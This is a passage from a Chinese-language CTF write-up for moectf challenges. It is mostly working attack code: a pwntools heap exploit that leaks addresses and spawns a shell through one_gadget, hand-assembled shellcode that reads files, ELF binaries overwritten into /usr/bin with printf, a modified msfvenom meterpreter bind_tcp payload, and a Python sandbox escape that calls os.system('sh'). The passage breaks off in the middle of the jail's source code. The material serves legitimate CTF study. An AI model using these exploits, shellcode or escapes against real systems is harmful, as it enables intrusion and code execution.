"+"a"*8+p64(heap+0x4c0)) s("echo aaaaaaaa\x31 > aaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x40)) s("echo aaa > aaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0)) s("rm aaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x40)) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0)) s("cat aaa") libcs = u64(r.recv(6)+"\x00\x00") log.info("libc:"+hex(libcs)) libc_addr = libcs- 0x21ace0在调用luosh()时，命令luofuck时，可数组越界执行其他地址。void __noreturn luosh() { char s1[520]; // [rsp+10h] [rbp-210h] BYREF unsigned __int64 v1; // [rsp+218h] [rbp-8h] v1 = __readfsqword(0x28u); puts("Welcome using luosh!"); while ( 1 ) { printf("luo ~> "); read_line(s1, 0x200uLL); if ( strcmp(s1, "luofuck") || idx == -1 ) idx = parse(s1); else puts("fucked by luo!"); if ( idx != -1 ) { if ( *(&unk_3CD0 + 6 * idx) <= nargs ) (*(&funcs_1C6E + 3 * idx))(arg_list); else puts("Missing args."); } } }选择one_gadget0x10d9c2 posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x40], 0, rsp+0x70, [rsp+0xf0]) constraints: [rsp+0x70] == NULL rsp+0xf0 == NULL || [rsp+0xf0] == NULL [rsp+0x40] == NULL || (s32)[[rsp+0x40]+0x4] <= 0 构造one_gadget并执行，最终exp如下。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 1 if local == 1: r=process('./luosh') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) libc = ELF('./libc.so.6') def dbg(): if local == 1: gdb.attach(r,"b * $rebase(0x01c6e)") elf = ELF('./luosh') def s(sh): r.recvuntil("luo ~> ") r.sendline(sh) s("touch aaa") s("echo bbbbbbbb > aaa ") s("touch bbbbbbbb\x91") s("echo bbbbbbbb > bbbbbbbb\x91 ") s("touch ccc") s("touch dddddddddddddddddddddddd\x11") s("echo bbbbbbbb > ccc ") s("touch a") s("echo bbbbbbbb > a") s("touch b") s("echo bbbbbbbb > b") s("touch c") s("echo bbbbbbbb > c") s("touch d") s("echo bbbbbbbb > d") s("rm a") s("rm b") s("rm c") s("rm d") s("echo bbbbbbbb > dddddddddddddddddddddddd\x11 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bb ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a \x01 ") s("echo bbbbbbbb > bbbbbbbb\x91 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01 ") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01 ") s("rm ccc") s("cat bbbbbbbb\x91") heap = u64(r.recv(5)+"\x00\x00\x00") << 12 log.info("heap:"+hex(heap)) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x2a0)) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xb0)) s("echo aaaaaaaa\x21\x04 > aaa\x00") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x4c0)) s("echo aaaaaaaa\x31 > aaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x40)) s("echo aaa > aaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0)) s("rm aaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa") s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x40)) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0)) s("cat aaa") libcs = u64(r.recv(6)+"\x00\x00") log.info("libc:"+hex(libcs)) libc_addr = libcs- 0x21ace0 pie_ptr = libc_addr + 0x219e38 stack_ptr = libc_addr + 0x21ba20 stack_ptr2 = libc_addr + 0x222200 s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(pie_ptr)) s("cat aaa") s("cat aaa") pie = u64(r.recv(6)+"\x00\x00")-0x4020 log.info("pie:"+hex(pie)) s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(pie+0x4028)) s("echo "+(p64(libc_addr + 0x10d9c2)[:6])+" > aaa") s("echo bbbbbbbb > aaa "+"a"*0x3+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(pie+0x4060)) s("echo bbbbbbbb > aaa "+"c"*(0x8+19)+"a"*29+"\x01") s("echo bbbbbbbb > aaa "+"c"*(0x8+12)+p64(pie+0x4070)) s("echo $ > aaa") s("luofuck") r.interactive()开发与运维基础哦不！我的libc！题目说环境没有libc，那就需要一个不需要libc就能执行的可执行文件，用纯汇编写一段orw。 # 将/flag.txt字符串写入栈并将地址保存到r11寄存器 mov r10,0x74; push r10; mov r10,0x78742E67616C662f; push r10; mov r11,rsp; # 构造sys_open 打开/flag.txt sub rsp,0x100; mov rax,2; mov rdi,r11; xor rsi,rsi; mov rdx,rsi; syscall; # 构造sys_read 读取/flag.txt mov rdi,rax; mov rsi,rsp; mov rdx,0x80; xor rax,rax; syscall; # 构造sys_write 输出/flag.txt mov rdi,1; mov rax,rdi; syscall;生成的shellcodeOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 49 C7 C2 74 00 00 00 41 52 49 BA 2F 66 6C 61 67 00000010 2E 74 78 41 52 49 89 E3 48 81 EC 00 01 00 00 48 00000020 C7 C0 02 00 00 00 4C 89 DF 48 31 F6 48 89 F2 0F 00000030 05 48 89 C7 48 89 E6 48 C7 C2 80 00 00 00 48 31 00000040 C0 0F 05 48 C7 C7 01 00 00 00 48 89 F8 0F 05 发现用什么工具编译都不能弄出不依赖libc的东西，静态编译的话又太大。这时想到metasploit编译的meterpreter客户端都短小精悍，一般只有250b，用ida打开发现都是纯纯大汇编。利用winhex将入口（0x78处）的shellcode换成我们的。覆写完的文件hexOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 ELF 00000010 02 00 3E 00 01 00 00 00 78 00 40 00 00 00 00 00 > x @ 00000020 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ 00000030 00 00 00 00 40 00 38 00 01 00 00 00 00 00 00 00 @ 8 00000040 01 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00000050 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 @ @ 00000060 FA 00 00 00 00 00 00 00 7C 01 00 00 00 00 00 00 ? | 00000070 00 10 00 00 00 00 00 00 49 C7 C2 74 00 00 00 41 I锹t A 00000080 52 49 BA 2F 66 6C 61 67 2E 74 78 41 52 49 89 E3 RI?flag.txARI夈 00000090 48 81 EC 00 01 00 00 48 C7 C0 02 00 00 00 4C 89 H ? H抢 L? 000000A0 DF 48 31 F6 48 89 F2 0F 05 48 89 C7 48 89 E6 48 逪1鯤夠 H壡H夋H 000000B0 C7 C2 80 00 00 00 48 31 C0 0F 05 48 C7 C7 01 00 锹€ H1? H乔 000000C0 00 00 48 89 F8 0F 05 25 49 FF C9 74 18 57 6A 23 H夬 %I蓆 Wj# 000000D0 58 6A 00 6A 05 48 89 E7 48 31 F6 0F 05 59 59 5F Xj j H夌H1? YY_ 000000E0 48 85 C0 79 C7 6A 3C 58 6A 01 5F 0F 05 5E 6A 7E H吚y莏<Xj _ ^j~ 000000F0 5A 0F 05 48 85 C0 78 ED FF E6 Z H吚x??由于我们直接写入的文件没有可执行权限，chmod命令又不能使用。需要覆写进入一个已有的可执行文件内。利用printf函数无损写入printf "\x7F\x45\x4C\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3E\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xFA\x00\x00\x00\x00\x00\x00\x00\x7C\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x49\xC7\xC2\x74\x00\x00\x00\x41\x52\x49\xBA\x2F\x66\x6C\x61\x67\x2E\x74\x78\x41\x52\x49\x89\xE3\x48\x81\xEC\x00\x01\x00\x00\x48\xC7\xC0\x02\x00\x00\x00\x4C\x89\xDF\x48\x31\xF6\x48\x89\xF2\x0F\x05\x48\x89\xC7\x48\x89\xE6\x48\xC7\xC2\x80\x00\x00\x00\x48\x31\xC0\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\x89\xF8\x0F\x05\x25\x49\xFF\xC9\x74\x18\x57\x6A\x23\x58\x6A\x00\x6A\x05\x48\x89\xE7\x48\x31\xF6\x0F\x05\x59\x59\x5F\x48\x85\xC0\x79\xC7\x6A\x3C\x58\x6A\x01\x5F\x0F\x05\x5E\x6A\x7E\x5A\x0F\x05\x48\x85\xC0\x78\xED\xFF\xE6" > /usr/bin/base64执行root@ret2shell-89-9018:~# base64 moectf{BU5YB0x-i5_SOO0OoO10OOOo0OOoOOOOO0o0OOo_BUSyd} Segmentation fault (core dumped) root@ret2shell-89-9018:~# 哦不！我的nginx！同上题，先构造纯纯大汇编读取/etc/nginx/nginx.confnginx的配置文件mov r10,0x666E6F632E; push r10; mov r10,0x786E69676E2F786E; push r10; mov r10,0x69676E2F6374652F; push r10; mov r11,rsp; sub rsp,0x300; mov rax,2; mov rdi,r11; xor rsi,rsi; mov rdx,rsi; syscall; mov rdi,rax; mov rsi,rsp; mov rdx,0x800; xor rax,rax;syscall; mov rdi,1; mov rax,rdi; syscall;读取到user www-data; worker_processes auto; pid /run/nginx.pid; error_log /var/log/nginx/error.log; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # SSL Settings ## ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; ## # Logging Settings ## access_log /var/log/nginx/access.log; ## # Gzip Settings ## gzip on; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; ## # Virtual Host Configs ## include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; } #mail { # # See sample authentication script at: # # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript # # # auth_http localhost/auth.php; # # pop3_capabilities "TOP" "USER"; # # imap_capabilities "IMAP4rev1" "UIDPLUS"; # # server { # listen localhost:110; # protocol pop3; # proxy on; # } # # server { # listen localhost:143; # protocol imap; # proxy on; # } #} 用cd命令获取各个conf的文件夹，发现仅cd /etc/nginx/sites-enabled/的时候存在default文件，再用纯纯大汇编读取/etc/nginx/sites-enabled/default。xor r10,r10; push r10; mov r10,0x746C75616665642F; push r10; mov r10,0x64656C62616E652D; push r10; mov r10,0x73657469732F786E; push r10; mov r10,0x69676E2F6374652F; push r10; mov r11,rsp; sub rsp,0x300; mov rax,2; mov rdi,r11; xor rsi,rsi; mov rdx,rsi; syscall; mov rdi,rax; mov rsi,rsp; mov rdx,0x800; xor rax,rax;syscall; mov rdi,1; mov rax,rdi; syscall;读取到server { listen 80 default_server; root /var/www/html; location / { index index.html; } } /etc/nginx/sites-enabled/default现在得知nginx监听的是80端口，用纯纯大汇编写一个监听80端口，并将接收到的tcp流量输出出来，直接写起来有点费劲，想起来meterpreter的bind_tcp功能与我期望的功能类似，bind_tcp是将接收的tcp流量shellcode写入内存跳转执行，我只需要将跳转执行这一段汇编代码改为输出，就能够获取接收的字符串了。先用msfvenom生成一个马，msfvenom -p linux\x64\meterpreter\bind_tcp LPORT=80 -f elf -o nginx得到的程序反汇编LOAD:0000000000400078 push 29h ; ')' LOAD:000000000040007A pop rax LOAD:000000000040007B cdq ; protocol LOAD:000000000040007C push 2 LOAD:000000000040007E pop rdi ; family LOAD:000000000040007F push 1 LOAD:0000000000400081 pop rsi ; type LOAD:0000000000400082 syscall ; LINUX - sys_socket LOAD:0000000000400084 xchg rax, rdi ; fd LOAD:0000000000400086 push rdx LOAD:0000000000400087 mov [rsp+8+var_8], 50000002h LOAD:000000000040008E mov rsi, rsp ; backlog LOAD:0000000000400091 push 10h LOAD:0000000000400093 pop rdx ; upeer_addrlen LOAD:0000000000400094 push 31h ; '1' LOAD:0000000000400096 pop rax LOAD:0000000000400097 syscall ; LINUX - sys_bind LOAD:0000000000400099 pop rcx LOAD:000000000040009A push 32h ; '2' LOAD:000000000040009C pop rax LOAD:000000000040009D syscall ; LINUX - sys_listen LOAD:000000000040009F xchg rax, rsi ; upeer_sockaddr LOAD:00000000004000A1 push 2Bh ; '+' LOAD:00000000004000A3 pop rax LOAD:00000000004000A4 syscall ; LINUX - sys_accept LOAD:00000000004000A6 push rax LOAD:00000000004000A7 push rsi LOAD:00000000004000A8 pop rdi ; addr LOAD:00000000004000A9 push 9 LOAD:00000000004000AB pop rax LOAD:00000000004000AC cdq LOAD:00000000004000AD mov dh, 10h LOAD:00000000004000AF mov rsi, rdx ; len LOAD:00000000004000B2 xor r9, r9 ; off LOAD:00000000004000B5 push 22h ; '"' LOAD:00000000004000B7 pop r10 ; flags LOAD:00000000004000B9 mov dl, 7 ; prot LOAD:00000000004000BB syscall ; LINUX - sys_mmap LOAD:00000000004000BD xchg rax, rsi LOAD:00000000004000BF xchg rax, rdi LOAD:00000000004000C1 pop rdi LOAD:00000000004000C2 syscall ; LINUX - LOAD:00000000004000C4 jmp rsi这里，只需要将末端的jmp rsi指令替换成以下指令，rsi为转跳地址，就是获取的字符串地址，无需修改，由于汇编码长于之前的代码，需要修改0x60处的文件大小。mov rax,1; mov rdi,rax; mov rdx,0x800; syscall;试一试root@ret2shell-91-9018:~# printf "\x7F\x45\x4C\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3E\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xE6\x00\x00\x00\x00\x00\x00\x00\x14\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x6A\x29\x58\x99\x6A\x02\x5F\x6A\x01\x5E\x0F\x05\x48\x97\x52\xC7\x04\x24\x02\x00\x00\x50\x48\x89\xE6\x6A\x10\x5A\x6A\x31\x58\x0F\x05\x59\x6A\x32\x58\x0F\x05\x48\x96\x6A\x2B\x58\x0F\x05\x50\x56\x5F\x6A\x09\x58\x99\xB6\x10\x48\x89\xD6\x4D\x31\xC9\x6A\x22\x41\x5A\xB2\x07\x0F\x05\x48\x96\x48\x97\x5F\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x00\x10\x00\x00\x48\x89\xF8\x0F\x05\x48\xC7\xC0\x3C\x00\x00\x00\x48\x31\xFF\x0F\x05" > /usr/bin/base32 root@ret2shell-91-9018:~# base32 GET /files/0b9b96e8-65d1-431f-a056-923c1cded988 HTTP/1.1 accept: */* host: 127.0.0.1 root@ret2shell-91-9018:~#多次尝试，发现只有对端发送的代码，没有flag，再次读题，题目说明“客户”：会不断请求损坏的服务器，如果客户高兴的话，就会给你 flag（以请求参数形式传递）；，并且cd 到html目录，发现服务器内存在对应文件，推断需要客户访问到对应的文件内容，才能反馈flag。这个要求代码量极大，用纯纯大汇编写起来非常坐牢，无奈退而求其次，用万能的chatgpt写一段c语言模拟httpserver服务，静态编译完扔回服务器。#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define PORT 80 #define BUFFER_SIZE 4096 #define WEB_ROOT "/var/www/html" void handle_client(int client_socket) { char buffer[BUFFER_SIZE]; char method[16], path[256], protocol[16]; char full_path[BUFFER_SIZE]; int file_fd; ssize_t bytes_read; // 读取客户端请求 bytes_read = read(client_socket, buffer, sizeof(buffer) - 1); if (bytes_read <= 0) { perror("read"); close(client_socket); return; } buffer[bytes_read] = '\0'; // 将请求内容打印到标准输出 printf("Received request:\n%s\n", buffer); // 解析 HTTP 请求行（GET /path HTTP/1.1） sscanf(buffer, "%s %s %s", method, path, protocol); // 只处理 GET 请求 if (strcmp(method, "GET") != 0) { const char *response = "HTTP/1.1 501 Not Implemented\r\n\r\n"; write(client_socket, response, strlen(response)); close(client_socket); return; } // 处理请求路径 snprintf(full_path, sizeof(full_path), "%s%s", WEB_ROOT, path); // 如果请求的是目录，默认返回 index.html if (full_path[strlen(full_path) - 1] == '/') { strncat(full_path, "index.html", sizeof(full_path) - strlen(full_path) - 1); } // 打开文件 file_fd = open(full_path, O_RDONLY); if (file_fd < 0) { // 文件未找到，返回404 const char *response = "HTTP/1.1 404 Not Found\r\n\r\n"; write(client_socket, response, strlen(response)); close(client_socket); return; } // 发送响应头 const char *response_header = "HTTP/1.1 200 OK\r\n\r\n"; write(client_socket, response_header, strlen(response_header)); // 发送文件内容 while ((bytes_read = read(file_fd, buffer, sizeof(buffer))) > 0) { write(client_socket, buffer, bytes_read); } // 关闭文件和客户端连接 close(file_fd); close(client_socket); } int main() { int server_fd, client_socket; struct sockaddr_in server_addr, client_addr; socklen_t client_addr_len = sizeof(client_addr); // 创建套接字 if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) { perror("socket failed"); exit(EXIT_FAILURE); } // 设置服务器地址结构 server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(PORT); // 绑定套接字到指定的端口 if (bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("bind failed"); close(server_fd); exit(EXIT_FAILURE); } // 开始监听端口 if (listen(server_fd, 10) < 0) { perror("listen failed"); close(server_fd); exit(EXIT_FAILURE); } printf("HTTP server is listening on port %d, serving %s\n", PORT, WEB_ROOT); // 主循环，处理客户端连接 while (1) { // 接受客户端连接 client_socket = accept(server_fd, (struct sockaddr *)&client_addr, &client_addr_len); if (client_socket < 0) { perror("accept failed"); close(server_fd); exit(EXIT_FAILURE); } // 处理客户端请求 handle_client(client_socket); } // 关闭服务器套接字 close(server_fd); return 0; }编译gcc httpserver.c --static -o httpserver由于生成的静态文件过大，一次性写入服务器会崩溃。需要分段写入到可执行文件内，写出python脚本分割文件。def file_to_hex_chunks(file_path, chunk_size=100000): i = 1 with open(file_path, 'rb') as file: while True: # 读取指定大小的块 chunk = file.read(chunk_size) if not chunk: # 如果读取不到数据则退出循环 break # 将每个字符转为\x格式的十六进制 hex_chunk = ''.join(f'\\x{byte:02x}' for byte in chunk) # 输出结果 f = open(str(i)+".txt","w") if i == 1: f.write('printf "'+hex_chunk+'" > /usr/bin/base32') else: f.write('printf "'+hex_chunk+'" >> /usr/bin/base32') f.close() i +=1 # 示例使用 file_path = './httpserver' file_to_hex_chunks(file_path)将分段生成的命令依次输入终端，执行base32命令，得到flag。root@ret2shell-91-9018:~# base32 HTTP server is listening on port 80, serving /var/www/html Received request: GET /files/f4e6aaf0-e319-4f07-941c-a01f4e4622f2 HTTP/1.1 accept: */* host: 127.0.0.1 Received request: GET /?flag=moectf{thAT5_not+veRY-H@rD-tO_reSCU3,r1ghT?978492} HTTP/1.1 accept: */* host: 127.0.0.1 Received request: GET /files/ca577100-1755-42ab-85d5-8d37b62da6e0 HTTP/1.1 accept: */* host: 127.0.0.1 Received request: GET /?flag=moectf{thAT5_not+veRY-H@rD-tO_reSCU3,r1ghT?978492} HTTP/1.1 accept: */* host: 127.0.0.1MISCmoejail_lv1python的沙箱逃逸，直接力大砖飞# coding=utf-8 from pwn import * r = remote('192.168.248.1',1212) def bypass(strs): r.recvuntil(" enter ") ques = r.recvuntil("=",drop=True) ans = eval(ques) r.sendline(ans) r.recvuntil("payload:") r.sendline(strs) bypass("__import__('os').system('sh')") r.interactive()目录和根目录都没有flag，拿到程序源码，不知道为啥system和os都被ban了exp还能用。import re CONFIG_USE_FORK = True MOTD = """? Welcome to the ez python jail!""" def my_safe_eval(code): if re.match(r"os|system|[\\\+]", code): return "Hacked By Rx" return eval(code) def chall(input, print): code: str = input("Give me your payload:") if len(code) > 100: print("Too long code, Sry!") return value = my_safe_eval(code) print(value) def handle(input, print): import random import string print( "HTTP/1.1 302 Found\r\nLocation: https://lug.ustc.edu.cn/planet/2019/09/how-to-use-nc/\r\nContent-Length: 0\r\n\r\n===HTTP REQUEST PREVENT===\x00\033c" ) try: print(MOTD) count = 0 while True: captcha = "".join( random.choices(string.ascii_uppercase + string.digits, k=6) ) captcha2 = "".join( random.choices(string.ascii_uppercase + string.digits, k=6) ) if ( input( f"? Are you robot? Please enter '{captcha}'+'{captcha2}'=? to continue: " ) .strip() .upper() != captcha + captcha2 ): count += 1 print("? Robot detected, try again") if count > 5: print("? Too many tries, blocked") break continue count = 0 try: chall(input, print) except Exception as e: print(f"? Error: {e}") except Exception as e: print( f"\033c ========== Unhandled Error! ==========\n? We cannot recover from error: {e}\nChild process exited. Please reconnect or ask administrators for help if error persist" ) def daemon_main(): import os import socket import subprocess print("[Info] Server starting") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) pwd = os.path.dirname(__file__) script = open(__file__, "rb").read() self_fd = os.memfd_create("main") os.write(self_fd, script) os.lseek(self_fd, 0, os.SEEK_SET) os.chmod(self_fd, 0o444) try: sock.bind(("0.0.0.0", 9999)) sock.listen(1) while True: try: conn, addr = sock.accept() print(f"[Info] Connected with {addr}") fd = conn.fileno() subprocess.Popen( [ "python", "/proc/self/fd/{}".format(self_fd), "fork", ], stdin=fd, stdout=fd, stderr=fd, pass_fds=[self_fd], cwd=pwd, 